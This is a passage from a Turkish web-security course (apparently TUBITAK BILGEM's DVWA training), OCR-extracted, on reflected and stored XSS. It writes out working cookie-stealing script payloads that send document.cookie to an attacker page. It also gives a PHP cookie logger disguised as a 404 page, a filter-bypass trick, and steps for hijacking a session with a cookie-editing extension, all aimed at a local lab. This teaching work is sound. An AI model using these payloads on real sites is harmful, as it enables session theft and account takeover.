Yukaridaki zararl linkin kirmizi bolgesini localhost/saldirganinSitesi yapalim. Clnki bizim
sanal sunucumuz ayni zamanda saldirganin sunucusu olacak.

http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>
window.location.href="http://localhost/saldirganinSitesi/index.php?cookie=" +document.co
okie;</script>

Ardindan yukaridaki zararl linkin kirmizi renk ile vurgulanan + karakterini %2B yapalim.

http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>window.location.href="http://localho
st/saldirganinSitesi/index.php?cookie="%2Bdocument.cookie</script>

+ karakterinin %2B'ye donustlrilmesi gerekmektedir, clnkl + karakteri URL'lerde 6zel bir
anlama sahiptir. Bosluk anlamina gelir. Mesela siz eger DVWA'nin ekranindaki metin kutusuna
"hasan fatih" string'ini girerseniz ENTER'ladiktan sonra URL'de bu veri ...?name=hasan+fatih
seklinde kodlanacaktir. Yani boslugun yerine URL'de + semboll gelecektir. Dolayisiyla eger
zararli linkteki +'yi oldugu gibi birakirsak parametredeki + karakteri sayfanin igerisine
yansiyacagl zaman bosluk olarak yansiyacaktir ve bu yuzden enjekte edilen javascript kodlari
syntax hatasi verip calismayacaktir. O nedenle zararli URL'nin + igaretini %2B olarak
yukaridaki gibi degistirin. Bdylece parametredeki javascript kodu sayfa i¢ine yiklendiginde
(yansitildiginda) %2B kodlamasi + olarak yansitilacaktir ve javascript kodu bu sayede
arzulandigi gibi ¢calisacaktir.

Boylelikle saldirganin gonderecegi zararli link hazir durumdadir. Artik zararli link kurbana
gonderilebilir ve kurbanin gerezinin cerezler.html dosyasina dismesi beklenebilir. Farzedin ki
kurban Firefox tarayicisindan DVWA'ya girdi ve oturum agti. Bunun igin Firefox tarayicisini
acin, adres cubuguna http://localhost/dvwa adresini girin, kullanici adi olarak admin, sifre
olarak password yazarak oturumu acin ve DVWA Security butonuna tiklayip glvenlik
seviyesini Impossible'dan Low'a ¢ekin. Ve yine farzedin ki saldirgan zararli linki kurbana
eposta yoluyla génderdi, kurban da bu linke tikladi. ikinci farzettigimiz islem icin kurbanin
kullandigi tarayici olan Firefox'tan adres gubuguna

http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>window.location.href="http://localho
st/saldirganinSitesi/index.php?cookie="%2Bdocument.cookie</script>

yukaridaki zararl linki girin ve ENTER'layin. Boylelikle kurban olarak siz oturum gerezinizi
saldirgana géndermis oldunuz. Saldirgansa hazirladi§i php dosyasi ile kurbandan gelen gerezi
cerezler.html dosyasina kaydetmis oldu. Kurban yoénlendirildigi sayfada soyle bir ciktiyla
karsilasacaktir.
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¢J DVWA Security : Da... % | %% Ders 19-Reflected ... x JELWERSETE NN x“
localhost c
404 Not Found

Saldirgansa cerezler.html dosyasina baktiginda su ¢iktiyr gérecektir.

http://localhost/saldirganinSitesi/cerezler.html

«J Welcome:: DamnV... % | 404 NokFound LS RUNLE LI o] N[N 3 hitp://local...erezler.html x

€ localhost @ | [Q search

REHRBRBHHHHRBRHHRRBRHHRBBRFHRRBHHRRERHHE

Kurbanin IP Adresi : 127.0.0.1

Tiklama Zamani: 21.01.16 t 17:33:38

Kurbanin Cerezi : security=low; PHPSESSID=cbbnmj5ldk6uqeq7hh82som863
REHRRRBHHHFRBRHRRRBRRHRBERHHRRBHHRRERHHH

Saldirgan bu ¢erezi gordiuglnde yapacagi is Chrome'un EditThisCookie adli eklentisiyle
caldigi gerezi kendi tarayicisina dahil etmek olacaktir. Bunun igcin Chrome'u agin. Adres
cubuguna asagidaki linki girin:

https://chrome.google.com/webstore/category/extensions?hl=tr
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IPEekcomesDamaii = chrome web Maga:

{ €@ £ B8 hitps;//chrome.google.com/webstore/search/cookie%20injector?hl=tr
i Apps @ Watch CNN Inte

= Chrome Web Magazasi

\ x|
«Ana sayfa
Thingworx Data Injector
axedaapps
Uygulamalar
The Thingworx Data Injector is a serial port tool designed to send formatted serial data to edge
Uzantilar devices/gateways.
Temalar
OZELLIKLER
Cevrimdigi calgir
EditThisCookie
Google'dan m‘ RIE ~
Ucretsiz Sy ) editthiscockie.com
. " Eili st Bu cookiyi diizenle bir cookie yénetimidir. Cookileri ekleyebilir,silebilir,dizeltebilir,arayabilir, koruyabilir ve
Android'de kullanilabilir

engelleyebilirsin
Google Drive ile calisir

Cookie Manager

DERECELENDIRME Cookie sunan:
W % % 4ok Manager fell.com

Manage cookies and protect privacy. Add, edit and delete cookies through toolbar. Search cookies if

there are many

L 8 & 4 e Ustd
* %k e Ustd

-

Tag Manager Injector
chris herger

Oturum agin | ¥

+ CHROMEA EKLE

Geligtirici Araclar

+ CHROMEA EKLE

Geligtirici Araglari
Hekokolod (2931)

+ CHROME'A EKLE

Blog Olusturma
Feddk (417)

+ CHROMEA EKLE

Resimde de belirtildigi gibi ilk olarak arama gubuguna cookie injector yazin. Ardindan gelen
eklentiler icerisinden EditThisCookie'nin yanindaki Chrome'a Ekle butonuna tiklayin. Ekrana
gelecek popup penceresi icin de Add Extension butonuna tiklayin. Béylelikle EditThisCookie

eklentisini kurmus olursunuz.

Simdi  bir saldirgan olarak Chrome'dan http://localhost/dvwa adresine gidin. Oturum
acmadiginiz icin DVWA'nin login ekranina yénlendirileceksiniz. Bu login ekranini gegmek igin,
yani kullanici adi ve sifre girmeden birinin oturumunu devralabilmek icin caldiginiz cerezi
tarayiciniza enjekte etmeniz gerekmektedir. Bu yizden Chrome'un yan sekmesine gegin ve

adres gubuguna

http://localhost/saldirganinSitesi/cerezler.html linkini girin. Cerezi kopyalayin.

-

4 @ &€y [ localhost/saldirganinS
i Apps @ Watch CNN Inte

Kurbanin IP Adresi : 127.0.0.1
Tiklama Zamani : 21.01.16t 21:56:13
Kurbanin Cerezi : security=low; PHPSESSID= {1265 i =2l s\ S|

Simdi DVWA'nin login sayfasinin acik oldugu sekmeye gecin ve EditThisCookie eklentisinin

simgesine tiklayin.
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DVWA) )

Username

Login
Acllan pencerede eklenti ilk olarak yakaladigi c¢erez degiskenlerinden security'yi size

sunacaktir. Oraya low kelimesini girin, ¢inkl kurbanin c¢erezinde security degiskeni low idi
(security=low).

i = + =) C 2 Q ~

» localhost | PHPSESSID

—i

|| = localhost | security
A @ Value
low

i)
@

Domain

localhost

Path

fdvwa

Expiration

22/01/2017 07.09 AM

HostOonly [« Session |« Secure HttpOnly [«

V Help

Bu islemi yaptiktan sonra ayni pencerenin yukarisindaki localhost | PHPSESSID sekmesine
tiklayin ve acilan segeneklerden Value kismina kurbanin gerezindeki PHPSESSID degerini

yapistirin.
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@] 2

+ ) (= Q

— ‘--:
5 | |

= localhost | PHPSESSID

Value

&
obctmu2kovm7ds3vfBro3f2qg0

Domain
localhost
Path

i
Expiration

22/01/2017 07:09 AM

HostOnly [

» localhost | security

Session |+ Secure HttpOnly [+

v

Son olarak pencerenin asagisindaki yesil tick isaretine tiklayin. Boylece saldirgan kurbanin
cerezini kendi tarayicisina enjekte etmis olur. Simdi saldirganin tarayicisindan (Chrome'dan)
http://localhost/dvwa adresine gidin. Goéreceginiz Uzere sayfa sizi DVWA'nin anasayfasina
yonlendirecektir. Yani login sayfasi ekrana gelmeyecektir. Clnku artik kurbanin oturumunu

devralmis bulunmaktasiniz.

Y B oy - G

§ @ & [ localhost,
it Apps @ Watch CNN Inte

Home _______|
Instructions
Setup | Reset DB

Brute Force

‘Command Injection |

Welcome to Damn Vulnerable Web Application!

Damn Vuinerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment.

The aim of DVWA is to practice some of the most common web vulnerability, with various difficultly levels,

with a simple straightforward interface.
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Artik bir saldirgan olarak kurban adina hedef sitede dilediginizi yapabilirsiniz.
[*] Ek Bilgi:

Uygulamadan uygulamaya degisiklik gosteren bir durum vardir. Ornegin DVWA web
uygulamasi tasarimi gereg@i oturum agtiginizda dahi login sayfasina (url'sine) gittiginizde yine
login sayfasini ekraniniza vermektedir. Bu esasinda mantida uygun bir durum degildir ve
bozuk bir tasarim goérintisli vermektedir. Fakat bu tasarimsal bozuklugun yanilgisina
dismeden uygulamanin davranisini géz énine alarak reflected XSS ile aldigimiz kurban
oturum cerezini tarayicimiza enjekte ettigimizde "sayfayi refresh'leme" yerine oturumumuz
yokken erisim saglayamadigimiz anasayfa url'ine gidebiliyor muyuz testi yaptik ve basaril
olabildigimizi gordik. Eger yaptigimiz gerez enjeksiyonu basarili olmasaydi enjeksiyon éncesi
erisemedigimiz anasayfa ve diger DVWA sayfalarina (yani igeriye) yine erisemez olurduk.
Fakat enjeksiyon sonrasi erisilemez sayfalara erisebildigimizi gordik. Dolayisiyla kurbanin
oturumuna gecis yapmis olduk.

Not: Tarayicinizda oturumunuz agik degilken ve tarayiciniza kurban gerezini enjekte etmeden 6nce
ornegin anasayfa url'ini Enter'lamayi denerseniz bu, sizi login sayfasina ydnlendirecektir. Yani
DVWA sizi igeri almayacaktir. Fakat enjeksiyon sonrasi tekrar anasayfa url'ini Enter'ladiginizda
anasayfa igerigi ekrana yansiyacaktir. Yani artik icerdesiniz demektir.
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DERS 20 - REFLECTED XSS (MEDIUM LEVEL)

Bu yazida guvenlik dizeyi Medium seviyesine yukseltiimis DVWA'da Reflected XSS'e karsi ne
gibi bir gtvenlik énlemi alindi§i incelenecektir ve alinan glvenlik 6nlemine ragmen yine
Reflected XSS saldirisi dizenlenebilir mi sorusuna yanit aranacaktir.

Dersin Hedefi
Hedefiniz Medium seviyesindeki glvenligi kesfedip nasil asabileceginizi 8grenmektir.

Reflected XSS'e Karsi Onlem

Gecen ders nasil Reflected XSS saldirisi yapilirt hem teorik hem de pratik olarak géormustik.
O derste bizim Reflected XSS saldirisi dizenleyebilmemizin nedeni asagidaki kaynak kodun
kullanimindan dolayiydi:

Low Level:

<?php

f/ Is there any input?

if{ array_key_exists{ "name", % GET ) &% $ GET[ 'name" ] != NULL ) {
ff Feedback for end user
echo '<prexHelle ' . % GET[ 'mame" ] . '</prex’;

I

I

6. satirda gorilebilecegi Gzere kullanicidan gelen input'u temsil eden $ GET['name'] ifadesi
higbir denetlemeye tabi tutulmadan ekrana yansitilmaktadir. Bu ylizden biz input i¢in javascript
kodu girdigimizde bu kodlar sayfaya yansiyabildi ve tarayici kodlari ¢alistirip ekrana popup
penceresi getirebildi. Bu sikintiy1 gidermek Uzere asagida Medium Level'in sundugu guvenlik
onlemini gérmektesiniz.

Medium Level:

<?php

/f Is there any input?

if{ array_key exists({ "name", % GET ) &% $ GET[ 'name" ] != MNULL ) {
ff Get input
fname = str_replace( '<script:’, "', % GET[ ‘name® ] };

M

/ Feedback for end user
cho "<prexHello ${namel}</pre>";

¥

P

6. satirda gorilebilecegi Uizere kullanicidan gelen input'u temsil eden $_GET['name'] degiskeni
eger <script> kelimesini igeriyorsa str_replace() fonksiyonu ile bu kelimeden ayiklanmaktadir.
Bdylece input olarak script kodu girildiginde <script> tag'i silinerek ekrana yansitilacagindan
script kodu galismayacaktir ve guvenlik belli 6lcide saglanmis olacaktir.

Peki bu glvenlik 6nlemi agilabilir mi? Yani <script> tag'l input'tan silinmesine ragmen
Javascript kodlarini ¢alistirabilmenin bir yolu var mi? Oncelikle su konuda hemfikir olmamiz
gerekir. Javascript kodlari <script> tag'siz ¢a-li-sa-maz. Dolayisiyla bu saldirgan igin
vazgecilmezdir. Peki site glvenlik geregi kullanicidan gelen input'tu <script> tag'ini silerek

TUBITAK — BILGEM — Siber Guvenlik Enstitis 191


http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-19---Reflected-XSS-Low-Level.php

TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

yansittigina goére bu durumda ne yapilabilir? Yapilacak islem <script> tag'inin igerisine <script>
tag'l koymaktir. Eger gegmis dersleri takip ettiyseniz ne demek istedigimi fark etmigsinizdir.
Eger takip etmediyseniz anlaminizi kolaylastirmak adina olayi o6rneklerle agiklayalim.
Normalde DVWA'nin metin kutusuna asagidaki kod girildiginde

Input:
<script>alert('Sayfa XSS acigina sahip!');</script>

glvenlik geregi <script> tag" silinerek ekrana yansitilacaktir.

Cikt:
alert('Sayfa XSS acigina sahip!");</script>

Eger <script> tag'inin igerisine <script> tag'l konulursa

Input:
<scr<script>ipt>alert('Sayfa XSS ac¢igina sahip!');</script>

kirmizi renkli <script> kelimesi silinecektir ve geride arta kalanlar birlestiginde yine <script>
kelimesini olugsacaktir. Boylece guvenlik barikati asiimis ve <script> tag'l sisteme sokulmus
olacaktir.

Cikt:
<script>alert('Sayfa XSS acigina sahip!');</script>

Sonug¢

ic ice kelime kullanimi ile str_replace() fonksiyonu atlatilabilmistir. Clinkii str_replace()
fonksiyonu yaptigi tarama ve silme iglemini recursive olarak yapmamaktadir. Bu ifadeyi biraz
acicak olursak str_replace() fonksiyonu <script> tag'ini gérdigunde silmektedir, fakat bunun
akabinde tarama islemine "kaldigi yerden" devam etmektedir. Yani basa sarmamaktadir.
Tekrar baga gelip taramasina o sekilde devam etmedigi icin, kaldi§i yerden devam ettigi icin
arta kalan karakterler birlestiginde olusan yeni <script> tag'ini str_replace() fonksiyonu
gOremeyecektir. Boylelikle givenlik asilmis olacaktir. Guvenlik seviyesi Medium iken belli
Olcide guvenlik saglandi gibi gorinse de teknigi bilen icin bu guvenlik 6nlemi higbir
zorlayicilida sahip degildir.
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DERS 21 - REFLECTED XSS (HiGH LEVEL)

Bu yazida guvenlik duzeyi High seviyesine yukseltimis DVWA'da Reflected XSS'e kargi ne
gibi bir gtvenlik énlemi alindi§i incelenecektir ve alinan glvenlik 6nlemine ragmen yine
Reflected XSS saldirisi dizenlenebilir mi sorusuna yanit aranacaktir.

Dersin Hedefi
Hedefiniz High seviyesindeki glvenligi kesfetmektir.

Reflected XSS'e Karsi1 Onlem

Gecen derste bahsedilen guvenlik dnlemi asilabilmisti. Simdi bir de guvenlik High seviyesinde
kullanilan guivenlik dnlemine bakalim:

<?php
ff Is there any input?
if{ array_key_exists{ "name", % _GET ) &8 § GET[ ‘'name’ = NULL 3 {
ff Get input
fname = preg_replace{ “/<(.*)s{.F)c(.¥)r(.®)i(.*)p(.®)t/1", "', T_GET[ ‘name” ] )};

ff Feedback for end user
zcho "<prexHelle ${namz}</pre>";

}

7
L |

6. satirda kullanicidan gelen veri belirtilen regular expression desenine sahip mi degil mi diye
kontrol ediliyor. Desendeki nokta (.) isareti herhangi bir karakter anlamina gelirken noktadan
sonraki yildiz (*) isareti ise 6nceki ifadeden 0 kez ya da daha fazla kez olabilir anlamini gelir.
Yani (.*) ile ifade edilen sey 0 ya da daha fazla kez ‘karakter’ gelebilirdir. Kullanilan desene
odaklanacak olursak

1<(F)s(F)e(F)r(X)i(*)p(H)i
Yukaridaki ifadenin dayandigi syntax sudur:

/pattern/modifiers

pattern desen anlamina gelmektedir. modifiers kismi ise preg_match() fonksiyonundaki regular
expression'in sonuna bakacak olursaniz i harfini almigtir. i harfi aranilan deseni hem buyuk
harfe gére hem de klguUk harfe gére aramaya yarar. Bdylece aranilan desene uygun karakter
dizisi buyuk harf de olsa kuglk harf de olsa secilecektir ve silinecektir. Bir daha desene
bakacak olursak

1<(H)s(H)e(H)N(H)i(F)p(H)i

Dikkat ederseniz (.*) kisimlarini regular expression’dan c¢ikarirsaniz <script kelimesini
gOreceksiniz. <script’in aralarina konulan (.*) ile yapilmak istenen sudur: “<script yazisinin
basinda, ortasinda, sonunda, her yerinde bagka karakter olabilir. Bdyle bir desen bulursan onu
komple sil”. Yani glvenlik medium seviyesinde iken verilmis asagidaki érnede bir daha g6z
atacak olursak

<scr<script>ipt>alert('Site Halen XSS Agigina Sahip');</script>

preg_replace() fonksiyonu bu pargall <scr<script>ipt> ifadesini kendi regular expression’i ile
eslesmis bulacaktir. Dolayisiyla <scr<script>ipt> ifadesini komple silecektir.
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Sonug

Gecen derste glvenligi saglayan str_replace() fonksiyonuna gére Regular Expression ¢ézimu
daha kapsamli bir givenlik temin etmistir. Bu glvenligi asmanin su sartlar altinda bir yolu
yoktur.
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DERS 22 - STORED XSS (LOW LEVEL)

Bu yazida DVWA adli web uygulamasinin igerisinde bulunan bir sayfanin glvenlik zafiyetinden
faydalanarak XSS yoluyla saldirida bulunulacaktir.

Dersin Hedefi
DVWA adli web uygulamasindaki kullanicinin oturumunu senaryo geregi ¢alin.

Uyari

Bu yazi Reflected XSS (Low Level) yazisinin devami niteliginde oldugundan dolay! orada
bahsedilen detaylara burada girilmeyecektir. Bu nedenle kopukluk yasamamak igin
once Reflected XSS (Low Level)'l daha sonra bu yaziyi okumaniz onerilir.

Stored XSS Nedir?

Acilimi Cross-Site Scripting olan XSS saldirilari Reflected XSS, Stored XSS ve DOM XSS
olmak Uzere Uge ayriimaktadir. Reflected XSS saldirisi bir web uygulamasinin veri giris
noktalarinda eger denetlemef/filtreleme/bloklama mekanizmalari yoksa ve saldirganin bu veri
giris noktasina girdigi script kodlar1 (6rn; javascript, visual basic script) sayfaya ¢ikti olarak
"yansitiliyorsa" saldirganlarin bu yolla kendi dederlerini sayfaya yansittirmasi islemine denir.
Reflected kelimesi Turkgede "yansitiimis" anlamina gelmektedir. Stored XSS saldirisi, bir web
uygulamasinin veri giris noktalarinda eger denetlemef/filtreleme/bloklama mekanizmasi yine
yoksa ve saldirganin bu veri giris noktasina girdigi script kodlari (6rn; javascript, visual basic
script) veritabanina kaydolarak sayafaya ¢ikti olarak yansitiliyorsa saldirganlarin bu yolla keni
degerlerini veritabanina kaydedip sayfaya yansittirmasi islemine denir. DOM XSS'e gelince bu
saldiri ise saldirganin (igerisine script kodlari ekleyerek) 6zenle hazirladigi bir url'i internette
bir yolla paylasmasi sonrasi linke gidildiginde kodlarin sunucuya hi¢ gitmeden (istemci)
tarayicida déndp ekrana yansitilmasina denir.

Ozetle; Reflected XSS, saldirganin girdigi kodlarin sunucuya gidip sunucuda barinmadan
(istemcilere) geri dondugu saldirilara denir. Stored XSS, saldirganin girdigi kodlarin sunucuya
gidip sunucuda bir depolama formatinda saklandigi (6rn; veritabani) ve bu depolamadan
(istemcilere) geri dondugu saldirilara denir. DOM XSS, saldirganin girdigi kodlarin sunucuya
gitmeden istemci tarayicisindan istemci tarayicisina dondiga saldirilara denir.

NOT: Bu yazida Reflected XSS saldirisi diizenlenmeyecektir. Clinkli Reflected XSS saldirisi 6nceki
yazida gerceklestirilmistir.

Stored XSS Nasil Yapilir?
Oncelikle DVWA'nIn Stored XSS igin sundugu ekrani inceleyelim.
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Vulnerability: Stored Cross Site Scripting (XSS)

Home |

Instructions |
MName *
|

Setup | Reset DB

Message *
Brute Force

Command Injection Sign Guestbook

File Inclusion

MName: test

File Upload o
Message: This is a test comment.

|
|
CSRF |
|
|
Insecure CAPTCHA |

Goruldagu tzere iki tane veri girisi yapilabilecek kutu vardir. Bu kutulara verip girilip Sign
Guestbook butonuna basildigi takdirde girilen veriler veritabanina kaydolacaktir ve akabinde
veritabanindan kayith veriler ¢ekilerek ekranin altina yansitilacaktir.

Simdi bu sayfanin XSS zafiyetine sahip mi degil mi oldugunu tespit edelim. Asagidaki kodu
DVWA'nin sundugu ekrandaki metin kutusuna girelim.

ilk Metin Kutusu:

Deneme

ikinci Metin Kutusu:

<script>alert('Sayfa XSS Ac¢idina Sahip');</script>

Vulnerability: Stored Cross Site Scripting (XSS)

Mame * Deneme

Message *

Sign Guestbook

MName: test
Message: This is a test comment.

Sign Guestbook butonuna tiklanildiginda asagidaki ¢ikti ekrana yansiyacaktir.
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Scripting (XSS) :: Damn Vulnerable Web Application (DVWA) v1.9 - Mozilla Firefox

Inerabilities/xss_s/ x ||Q search | & & +¥ A& &

Sayfa XSS Acigina Sahip

T

Girdigimiz javascript kodunun ekranda calistigini gérmis olduk. Demek ki hedef sayfa
kullanicidan gelebilecek javascript komutlarini engellemiyor. Bu durumda hedef sayfa XSS
zafiyetine sahiptir denir.

XSS acigi var oldugu 6grenildigine gore saldirganin yapilabilecegi en iyi ve en degerli sey
cerezleri calmak olur. Bunun igin saldirgan ekrandaki metin kutularina javascript kodu olarak
cerezleri ¢alan bir kod girebilir. Bu kodun yer aldigi sayfayi ziyaret eden her kullanici da
javascript kodu nedeniyle c¢erezlerini saldirganin sitesine gdénderebilir. Bahsedilen cerez
yollama kodunun olusturulma asamasi ve nihai kod asagida verilmistir:

Bir sayfaya yonlendiren Javascript kodu:

window.location.href="saldirganinsitesi.com/index.php”;

Bir sayfaya yénlendirirken ¢erezi de beraberinde yollayan Javascript kodu:
window.location.href="saldirganinsitesi.com/index.php?cookie=" + document.cookie;
Hazirlanmig Nihai Kod:

<script> window.location.href="saldirganinsitesi.com/index.php?cookie=" +
document.cookie;</script>

Saldirgan hedef sitenin veritabanina yukaridaki hazirladigi nihai kodu girdiginde hedef site
kodu veritabanina kaydederse bu kodun sergilendigi sayfayi ziyaret eden herkesin gerezi
saldirganin sitesine gidecektir. Saldirgan ise kendi sitesine gelen gerezleri su sekilde dosyaya
kaydedecektir:
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<html>
<head>
<titlex484 Not Found</title:
</head>
<body>
484 Mot Found
< ?php
%ip = $_SERVER["REMOTE_ADDR"]; !/ sayfaya girenin ip’si alinar.
$cookie = 5_GET["cookie"]; // Hazirlanmis linke taklayanin cerezi alinir.
$dateTime = date('d.m.y \t H:i:s'); // Kurbanin hazirlanmis linke tikladifi anki zaman alinir.
$file = fopen("cerezler.html™, "a+");
furite($file, "ddddddaanagsy #it<bhr:");
fwrite($file, "Kurbaninm IP Adresi : ™ . %ip . "<br:");
fwrite($file, "Tiklama Zamani " . fdateTime . "<bry™);
fwrite($file, "Kurbanin Cerezi ¢ " . $cookie . "<br>»™);
furite(STile, "ssddsiiEmg ##<br><br><br>");
fclose{$file);
3
</body>
</html>

Saldirgan cerezler.html dosyasina kaydettigi cerezlerden birini kendi tarayicisina mesela
Chrome'un EditThisCookie eklentisiyle dahil ederek kurbanin oturumunu devralacaktir. Yani
kurbanin kullanici adini ve sifresini bilmeden kurbanin oturumuna giris yapmis olacaktir.
Bdylece saldirgan ilgili zafiyete sahip sitede kurban adina diledigi her seyi yapabilecektir.

Simdi bu anlatilanlar pratik olarak deneyelim. Kurbani temsilen tarayici olarak Firefox
kullanilacakken saldirgani temsilen tarayici olarak Chrome kullanilacaktir. Simdi ilk olarak
saldirgana ait bir site olusturalim. Bunun icin Linux kullanicilart /var/www/ dizini icinde,
Windows kullanicilari ise C:\xampp\htdocs\ dizini iginde saldirganinSitesi adli klasor
olustursunlar. Ardindan linux kullanicilari su shell kodunu terminale girsinler:

1 sudo chmod -R 777 /var/www/saldirganinSitesi

Daha sonra saldirganinSitesi klasorinun igerisinde index.php dosyasi olusturulmalidir ve bu
dosyanin igine agagidaki kodlar girilerek kaydedilmelidir.

<html:>
<head>
<titlex484 Not Found</title:
</head>
<body>
484 Mot Found
< ?php
$ip = $_SERVER["REMOTE_ADDR"]; // sayfaya girenin ip'si alanar.
fcookie = 5_GET["cookie"]; // Hazirlanmis linke tiklayanin cerezi alinir.
$dateTime = date('d.m.y \t H:i:s'); // Kurbanin hazirlanmis linke tikladigi anki zaman alinir.
$file = fopen("cerezler.html”, "a+");
furite($file, "dedsdddsnagsy #it<br:");
fwrite($file, "Kurbanin IP Adresi : ™ . %ip . "<br:");
fwrite{$file, "Tiklama Zamani : " . $dateTime . “<br:™);
fwrite($file, "Kurbanin Cerezi ¢ " . $cookie . "<br>™);
furite(Sfile, "R ##<br><br><br>");
fclose($file);
s
</body>
</html>
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Artik saldirgan saldiri yapabilir durumdadir. Saldirgan olarak Chrome'dan DVWA'nin sundugu
metin kutularina agagidakileri girin:

ilk Metin Kutusu:
Huplet

ikinci Metin Kutusu
<script> window.location.href="http://localhost/saldirganinSitesi/index.php?cookie=" +
document.cookie;</script>

Kirmizi kisimda goérduguindz Uzere saldirganin sitesi olarak saldirgan icin olusturdugumuz
sitenin adresini koymus bulunmaktayiz. Gergek saldirilarda bu adres yerine gercek bir domain
adi konulmaktadir. Yukaridaki kodu textarea'ya girmeye calistiginizda hepsinin sigmadigini
gbreceksiniz. Bu sorunu asabilmek icin textArea'ya sag tiklayin. Ardindan Ogeyi Denetle deyin.
Tarayicinizin alt tarafinda bir pencere acgilacaktir.

= 0O Elements Console Sources Network Timeline Profiles Resources Security Audits EditThisCookie

hl=Vulnerability: Stored Cross Site Scripting (X55)=/hl -
¥=div class="vulnerable_code_area
¥ <form method="post" name="guestform” onsubmit="return validate form{this)
¥ =table width="550" border="8" cellpadding="2" cellspacing="1

P <trews/tr
¥atr
td width="100"=Message *=/td
¥ =td
<textarea name="mtxMessage" cols="58" rows="3" maxlength="58"=</textarea=

P <trews/tr
/thody.
ftable
input type="hidden” name="user token' value="b32fe3e3d3fcabBel6flO420703a94613
/form
Fdiv -
html bodyhome div#container div#main_body div.body_padded div.vulnerable_code_area Fform  table thody tr td

O penceredeki mavi renkle vurgulanmis segcili satirda yer alan maxlength="50" kodundaki
50'ye cift tiklayin. 50 sayisini silip mesela 10000 yapin ve ENTER'layin. Bdylece karakter limiti
problemini ortadan kaldirmis olursunuz. Yukaridaki nihai kodu tekrar kopyalin ve textArea'ya
sorunsuz bir sekilde yapistirin.

Vulnerability: Stored Cross Site Scripting (XSS)

Mame * Hiplet

Message * cookie=" + document.cookie;</script>

| Sign Guestbook |

Mame: test
Message: This is a test comment.
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Yukaridakiler kutulara girildikten sonra Sign Guestbook butonuna bastiginiz takdirde ¢erez
calma kodunu sayfaya kaydetmis olursunuz. Artik bu sayfaya bir kurbanin ziyaret etmesini
beklemek durumundasiniz.

Simdi bir kurban olarak Firefox'tan localhost/dvwa'ya giris yapin (Kullanici adi: admin, Sifre:
password). Ardindan DVWA Security butonuna tiklayin ve guvenlik seviyesini Impossible'dan
Low'a indirin. Sonra XSS (Stored) sayfasini ziyaret edin. Bu kod barindiran sayfayi ziyaret
ettiginiz an saldirganin sayfaya dahil ettigi javascript kodlari calisacaktir ve ¢cerezinizle beraber
saldirganin sitesine yonlendirileceksiniz.

€ localhost ¢ | |Q search

404 Not Found

Saldirgan kurbanlarin yonlendirecegi sayfaya 404 Not Found yazisini yerlestirmistir. Boylece
kurbanin siphelenmemesi saglanabilir. Bu 404 Not Found yazisinin oldugu sayfanin
arkaplaninda yer alan PHP kodlari kurbandan gelen cerezi cerezler.html dosyasina
kaydetmektedir. Bu isi yapan kodlar saldirganinSitesi klasorl igerisinde olusturdugunuz
index.php'ye dahil ettiginiz PHP kodlaridir. Simdi saldirgan olarak Chrome'da yan sekme agin
ve su adrese gidin:

localhost/saldirganinSitesi/cerezler.html

’ Vulnerability: Storec XI [ localhost/saldirgar X_

'4 @ 4y [ localhost
i Apps @ Watch CNN Inte

Kurbanin IP Adresi : 127.0.0.1
Tiklama Zamani : 22.01.16t 11:24:59

Kurbanin Cerezi : S281111%

=low; PHPSESSID=obctmu2kcvm?7ds3viBro3f2gg

0
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cerezler.html'de kurbandan gelen gerezi gérmektesiniz. Chrome'daki DVWA'dan ¢ikis yapin.
Simdi bu calinan gerezi saldirgan kendi tarayicisina dahil edip kullanici adi ve sifre bilgilerini
bilmeden kurbanin oturumuna giris yapmak isteyecektir. Bunun icin EditThisCookie adli
Chrome eklentisini tarayiciya kuralim. Asagidaki linke gidin:

https://chrome.google.com/webstore/category/extensions?hi=tr

VR - <o
{ @ € & https;//chrome.google.com By =
i Apps @ Watch CNN Inte

g= Chrome Web Magazasi EIUEECEY 0
‘ ookie injector X |
« Ana sayfa
Thingwor Data jctr
Uygulamalar @ axedaapps Geligtirici Araclar
The Thingworx Data Injector is a serial port tool designed to send formatted serial data to edge
Uzantilar devices/gateways.
Temalar
OZELLIKLER

Cevrimdisi cahigir
EdiThiscooke

Google'dan 3 z
i & a sunare: % Geligtirici Araglar
Ucretsiz editthiscockie.com .

EditThisCookie FoAdok ok (2031)

am . Bu cookiyi diizenle bir cookie yonetimidir. Cookileri ekleyebilir,silebilir,dGzeltebilir,arayabilir, koruyabilir ve

Android'de kullanilabilir

engelleyebilirsin
Google Drive ile caligir

coorie T
DERECELENDIRME ooKie L Blog Olusturma
* kK kk Manager — ok (17
Manage cookies and protect privacy. Add, edit and delete cookies through toolbar. Search cookies if
* % & & ve st there are many
* Xk (B Tag Manager Injector + CHROMEA EKLE
Py = - chris herger - .

Resimde de belirtildigi gibi ilk olarak arama gubuguna cookie injector yazin. Ardindan gelen
eklentiler icerisinden EditThisCookie'nin yanindaki Chrome'a Ekle butonuna tiklayin. Ekrana
gelecek popup penceresi igin de Add Extension butonuna tiklayin. Boylelikle EditThisCookie
eklentisini kurmus olursunuz.

Simdi bir saldirgan olarak Chrome'dan http://localhost/dvwa adresine gidin. Oturum
acmadiginiz icin DVWA'nIn login ekranina ydnlendirileceksiniz. EditThisCookie eklentisinin
simgesine tiklayin.
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DWA)

Username

Password

Login

Acilan pencerede eklenti ilk olarak yakaladigi cerez dediskenlerinden security'yi size
sunacaktir. Oraya low kelimesini girin, ¢iinkl kurbanin c¢erezinde security degiskeni low idi
(security=low).

Xy
C
]

fi] 2 + ») = Q ~

» localhost | PHPSESSID

—

|| = localhost | security

A i
“o

Domain

localhost

Path

Jdvwa

Expiration
22/01/2017 07:09 AM

HostOnly [« Session [« Secure HttpOnly [+

V Help

Bu islemi yaptiktan sonra ayni pencerenin yukarisindaki localhost | PHPSESSID sekmesine
tiklayin ve acilan segeneklerden Value kismina kurbanin gerezindeki PHPSESSID degerini

yapistirin.
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Soll@h =
| =

Ty 0 =k 5 C3 Q ~

- localhost | PHPSESSID

- _-l @ Value
,n m obctmuZkevm7ds3vfaro3f2ggo

Domain

localhost
Path
{
Expiration
22/01/2017 11:55 AM

Hostonly [+ Session [ Secure HttpOnly

» localhost | security

ged out

